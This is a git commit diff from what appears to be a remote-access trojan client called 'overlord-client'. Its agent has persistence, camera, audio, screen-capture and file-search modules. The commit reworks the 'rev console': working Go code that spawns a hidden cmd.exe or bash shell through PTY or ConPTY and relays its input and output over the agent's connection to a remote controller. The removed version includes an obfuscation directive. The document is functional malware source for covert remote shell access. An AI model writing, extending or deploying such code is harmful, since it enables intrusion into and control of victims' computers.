improved rev console

This commit is contained in:
KingKDot
2026-05-13 22:32:49 -05:00
parent 27225566f4
commit 6ae44625f8
17 changed files with 446 additions and 471 deletions
@@ -1,175 +0,0 @@
package console
import (
"context"
"errors"
"io"
"os"
"os/exec"
"runtime"
"sync"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
type session struct {
id string
cmd *exec.Cmd
stdin io.WriteCloser
cancel context.CancelFunc
env *rt.Env
closed chan struct{}
once sync.Once
}
var sessions sync.Map
func shellCommand() []string {
if runtime.GOOS == "windows" {
return []string{"cmd.exe", "/d"}
}
return []string{"/bin/sh"}
}
func Start(ctx context.Context, env *rt.Env, sessionID string, _ int, _ int) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if sessionID == "" {
return errors.New("session id required")
}
Stop(sessionID)
parts := shellCommand()
cctx, cancel := context.WithCancel(ctx)
cmd := exec.CommandContext(cctx, parts[0], parts[1:]...)
if attr := platformSysProcAttr(); attr != nil {
cmd.SysProcAttr = attr
}
cmd.Env = append(os.Environ(), "CLINK_NOAUTORUN=1")
stdin, err := cmd.StdinPipe()
if err != nil {
cancel()
return err
}
stdout, err := cmd.StdoutPipe()
if err != nil {
cancel()
return err
}
stderr, err := cmd.StderrPipe()
if err != nil {
cancel()
return err
}
if err := cmd.Start(); err != nil {
cancel()
return err
}
sess := &session{id: sessionID, cmd: cmd, stdin: stdin, cancel: cancel, env: env, closed: make(chan struct{})}
sessions.Store(sessionID, sess)
go sess.forwardOutput(stdout)
go sess.forwardOutput(stderr)
go sess.waitExit()
return nil
}
func Stop(sessionID string) {
val, ok := sessions.LoadAndDelete(sessionID)
if !ok {
return
}
sess := val.(*session)
sess.cancel()
if sess.cmd.Process != nil {
_ = sess.cmd.Process.Kill()
}
sess.once.Do(func() { close(sess.closed) })
}
func Input(sessionID string, data string) error {
val, ok := sessions.Load(sessionID)
if !ok {
return errors.New("session not found")
}
sess := val.(*session)
if sess.stdin == nil {
return errors.New("stdin missing")
}
_, err := sess.stdin.Write([]byte(data))
return err
}
func Resize(_ string, _ int, _ int) {
}
func (s *session) forwardOutput(r io.Reader) {
buf := make([]byte, 4096)
for {
n, err := r.Read(buf)
if n > 0 {
clean := stripBackspaces(buf[:n])
if len(clean) > 0 {
_ = sendOutput(s.env, s.id, clean, nil, "")
}
}
if err != nil {
return
}
}
}
func (s *session) waitExit() {
err := s.cmd.Wait()
var codePtr *int
msg := ""
if err != nil {
if exitErr, ok := err.(*exec.ExitError); ok {
code := exitErr.ExitCode()
codePtr = &code
} else {
msg = err.Error()
}
} else {
code := 0
codePtr = &code
}
_ = sendOutput(s.env, s.id, nil, codePtr, msg)
sessions.Delete(s.id)
s.once.Do(func() { close(s.closed) })
}
func sendOutput(env *rt.Env, sessionID string, data []byte, exitCode *int, errMsg string) error {
payload := wire.ConsoleOutput{Type: "console_output", SessionID: sessionID}
if len(data) > 0 {
payload.Data = data
}
if errMsg != "" {
payload.Error = errMsg
}
if exitCode != nil {
payload.ExitCode = exitCode
}
return wire.WriteMsg(context.Background(), env.Conn, payload)
}
func stripBackspaces(src []byte) []byte {
out := make([]byte, 0, len(src))
for _, b := range src {
if b == '\b' {
if len(out) > 0 {
out = out[:len(out)-1]
}
continue
}
out = append(out, b)
}
return out
}
@@ -1,9 +0,0 @@
//go:build !windows
package console
import "syscall"
func platformSysProcAttr() *syscall.SysProcAttr {
return nil
}
@@ -1,9 +0,0 @@
//go:build windows
package console
import "syscall"
func platformSysProcAttr() *syscall.SysProcAttr {
return &syscall.SysProcAttr{HideWindow: true}
}
@@ -16,7 +16,6 @@ import (
"overlord-client/cmd/agent/audio"
"overlord-client/cmd/agent/capture"
"overlord-client/cmd/agent/console"
"overlord-client/cmd/agent/criticalproc"
"overlord-client/cmd/agent/filesearch"
"overlord-client/cmd/agent/persistence"
@@ -1856,7 +1855,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if sessionID == "" {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing session id"})
}
if err := console.Start(ctx, env, sessionID, cols, rows); err != nil {
if err := env.Console.Start(ctx, runtime.ConsoleStartRequest{SessionID: sessionID, Cols: cols, Rows: rows}); err != nil {
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
return nil
}
@@ -1865,21 +1864,21 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sessionID, _ := envelopePayloadString(envelope, "sessionId")
data, _ := envelopePayloadString(envelope, "data")
if sessionID != "" && data != "" {
_ = console.Input(sessionID, data)
_ = env.Console.Write(ctx, sessionID, data)
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "console_stop":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
if sessionID != "" {
console.Stop(sessionID)
env.Console.Stop(sessionID)
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "console_resize":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
cols, rows := envelopePayloadInts(envelope)
_ = sessionID
console.Resize(sessionID, cols, rows)
if sessionID != "" {
_ = env.Console.Resize(sessionID, cols, rows)
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "voice_session_start":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
+21 -37
View File
@@ -5,14 +5,10 @@ import (
"fmt"
"io"
"os"
"os/exec"
"runtime"
"sync"
"syscall"
"overlord-client/cmd/agent/wire"
"github.com/creack/pty"
)
type ConsoleHub struct {
@@ -23,8 +19,7 @@ type ConsoleHub struct {
type ConsoleSession struct {
id string
cmd *exec.Cmd
pty *os.File
pty ptyHandle
cancel context.CancelFunc
once sync.Once
}
@@ -35,6 +30,12 @@ type ConsoleStartRequest struct {
Rows int
}
type ptyHandle interface {
io.ReadWriteCloser
Resize(cols, rows uint16) error
Wait() (int, error)
}
func NewConsoleHub(env *Env) *ConsoleHub {
return &ConsoleHub{env: env, sessions: make(map[string]*ConsoleSession)}
}
@@ -62,22 +63,19 @@ func (h *ConsoleHub) Start(ctx context.Context, req ConsoleStartRequest) error {
shell := detectShell()
sessionCtx, cancel := context.WithCancel(ctx)
cmd := exec.CommandContext(sessionCtx, shell[0], shell[1:]...)
cmd.Env = os.Environ()
ptmx, err := pty.StartWithSize(cmd, &pty.Winsize{Cols: cols, Rows: rows})
handle, err := startPty(sessionCtx, shell, cols, rows)
if err != nil {
cancel()
h.emitError(ctx, req.SessionID, err)
h.emitError(req.SessionID, err)
return err
}
sess := &ConsoleSession{id: req.SessionID, cmd: cmd, pty: ptmx, cancel: cancel}
sess := &ConsoleSession{id: req.SessionID, pty: handle, cancel: cancel}
h.mu.Lock()
h.sessions[req.SessionID] = sess
h.mu.Unlock()
go h.forwardOutput(sessionCtx, sess)
go h.forwardOutput(sess)
return nil
}
@@ -101,7 +99,7 @@ func (h *ConsoleHub) Resize(sessionID string, cols, rows int) error {
if rows <= 0 {
rows = 36
}
return pty.Setsize(sess.pty, &pty.Winsize{Cols: uint16(cols), Rows: uint16(rows)})
return sess.pty.Resize(uint16(cols), uint16(rows))
}
func (h *ConsoleHub) Stop(sessionID string) {
@@ -129,28 +127,27 @@ func (h *ConsoleHub) StopAll() {
}
}
func (h *ConsoleHub) forwardOutput(ctx context.Context, sess *ConsoleSession) {
func (h *ConsoleHub) forwardOutput(sess *ConsoleSession) {
writeCtx := context.Background()
buf := make([]byte, 4096)
for {
n, err := sess.pty.Read(buf)
if n > 0 {
chunk := make([]byte, n)
copy(chunk, buf[:n])
_ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, Data: chunk})
_ = wire.WriteMsg(writeCtx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, Data: chunk})
}
if err != nil {
if err != io.EOF {
h.emitError(ctx, sess.id, err)
h.emitError(sess.id, err)
}
break
}
}
if sess.cmd != nil {
_ = sess.cmd.Wait()
}
exitCode := extractExitCode(sess.cmd)
_ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, ExitCode: &exitCode})
exitCode, _ := sess.pty.Wait()
_ = wire.WriteMsg(writeCtx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, ExitCode: &exitCode})
h.mu.Lock()
delete(h.sessions, sess.id)
@@ -158,8 +155,8 @@ func (h *ConsoleHub) forwardOutput(ctx context.Context, sess *ConsoleSession) {
sess.close()
}
func (h *ConsoleHub) emitError(ctx context.Context, sessionID string, err error) {
_ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sessionID, Error: err.Error()})
func (h *ConsoleHub) emitError(sessionID string, err error) {
_ = wire.WriteMsg(context.Background(), h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sessionID, Error: err.Error()})
}
func (h *ConsoleHub) get(sessionID string) *ConsoleSession {
@@ -173,9 +170,6 @@ func (sess *ConsoleSession) close() {
if sess.cancel != nil {
sess.cancel()
}
if sess.cmd != nil && sess.cmd.Process != nil {
_ = sess.cmd.Process.Kill()
}
if sess.pty != nil {
_ = sess.pty.Close()
}
@@ -197,13 +191,3 @@ func detectShell() []string {
}
return []string{"/bin/bash", "-l"}
}
func extractExitCode(cmd *exec.Cmd) int {
if cmd == nil || cmd.ProcessState == nil {
return -1
}
if status, ok := cmd.ProcessState.Sys().(syscall.WaitStatus); ok {
return status.ExitStatus()
}
return -1
}
@@ -0,0 +1,59 @@
//go:build !windows
package runtime
import (
"context"
"os"
"os/exec"
"syscall"
"github.com/creack/pty"
)
type unixPty struct {
f *os.File
cmd *exec.Cmd
}
func (u *unixPty) Read(p []byte) (int, error) { return u.f.Read(p) }
func (u *unixPty) Write(p []byte) (int, error) { return u.f.Write(p) }
func (u *unixPty) Close() error {
if u.cmd != nil && u.cmd.Process != nil {
_ = u.cmd.Process.Kill()
}
return u.f.Close()
}
func (u *unixPty) Resize(cols, rows uint16) error {
return pty.Setsize(u.f, &pty.Winsize{Cols: cols, Rows: rows})
}
func (u *unixPty) Wait() (int, error) {
if u.cmd == nil {
return -1, nil
}
err := u.cmd.Wait()
if err != nil {
if ee, ok := err.(*exec.ExitError); ok {
if status, ok := ee.Sys().(syscall.WaitStatus); ok {
return status.ExitStatus(), nil
}
return ee.ExitCode(), nil
}
return -1, err
}
return 0, nil
}
func startPty(ctx context.Context, shell []string, cols, rows uint16) (ptyHandle, error) {
cmd := exec.CommandContext(ctx, shell[0], shell[1:]...)
cmd.Env = append(os.Environ(), "TERM=xterm-256color")
f, err := pty.StartWithSize(cmd, &pty.Winsize{Cols: cols, Rows: rows})
if err != nil {
return nil, err
}
return &unixPty{f: f, cmd: cmd}, nil
}
@@ -0,0 +1,49 @@
//go:build windows
package runtime
import (
"context"
"strings"
"github.com/UserExistsError/conpty"
)
type winPty struct {
cp *conpty.ConPty
waitCh chan waitResult
}
type waitResult struct {
code int
err error
}
func (w *winPty) Read(p []byte) (int, error) { return w.cp.Read(p) }
func (w *winPty) Write(p []byte) (int, error) { return w.cp.Write(p) }
func (w *winPty) Close() error { return w.cp.Close() }
func (w *winPty) Resize(cols, rows uint16) error {
return w.cp.Resize(int(cols), int(rows))
}
func (w *winPty) Wait() (int, error) {
res := <-w.waitCh
return res.code, res.err
}
func startPty(ctx context.Context, shell []string, cols, rows uint16) (ptyHandle, error) {
cmdline := strings.Join(shell, " ")
cp, err := conpty.Start(cmdline, conpty.ConPtyDimensions(int(cols), int(rows)))
if err != nil {
return nil, err
}
w := &winPty{cp: cp, waitCh: make(chan waitResult, 1)}
go func() {
code, werr := cp.Wait(context.Background())
w.waitCh <- waitResult{code: int(code), err: werr}
}()
return w, nil
}
+1
View File
@@ -13,6 +13,7 @@ require (
require (
github.com/Kirizu-Official/windows-camera-go v0.2.0
github.com/UserExistsError/conpty v0.1.4
github.com/gen2brain/malgo v0.11.24
github.com/gen2brain/shm v0.1.0
github.com/jezek/xgb v1.1.1
+3
View File
@@ -1,5 +1,7 @@
github.com/Kirizu-Official/windows-camera-go v0.2.0 h1:wF8s6US/me/d5WaBeoHGVKE8mBOl83kKTfMV38YYQ3g=
github.com/Kirizu-Official/windows-camera-go v0.2.0/go.mod h1:zMP4SmblRxD6zQHe4X07CHO4lnNcWo6zeZhQavO2aLQ=
github.com/UserExistsError/conpty v0.1.4 h1:+3FhJhiqhyEJa+K5qaK3/w6w+sN3Nh9O9VbJyBS02to=
github.com/UserExistsError/conpty v0.1.4/go.mod h1:PDglKIkX3O/2xVk0MV9a6bCWxRmPVfxqZoTG/5sSd9I=
github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
@@ -86,6 +88,7 @@ golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtC
golang.org/x/net v0.51.0 h1:94R/GTO7mt3/4wIKpcR5gkGmRLOuE/2hNGeWq/GBIFo=
golang.org/x/net v0.51.0/go.mod h1:aamm+2QF5ogm02fjy5Bb7CQ0WMt1/WVM7FtyaTLlA9Y=
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=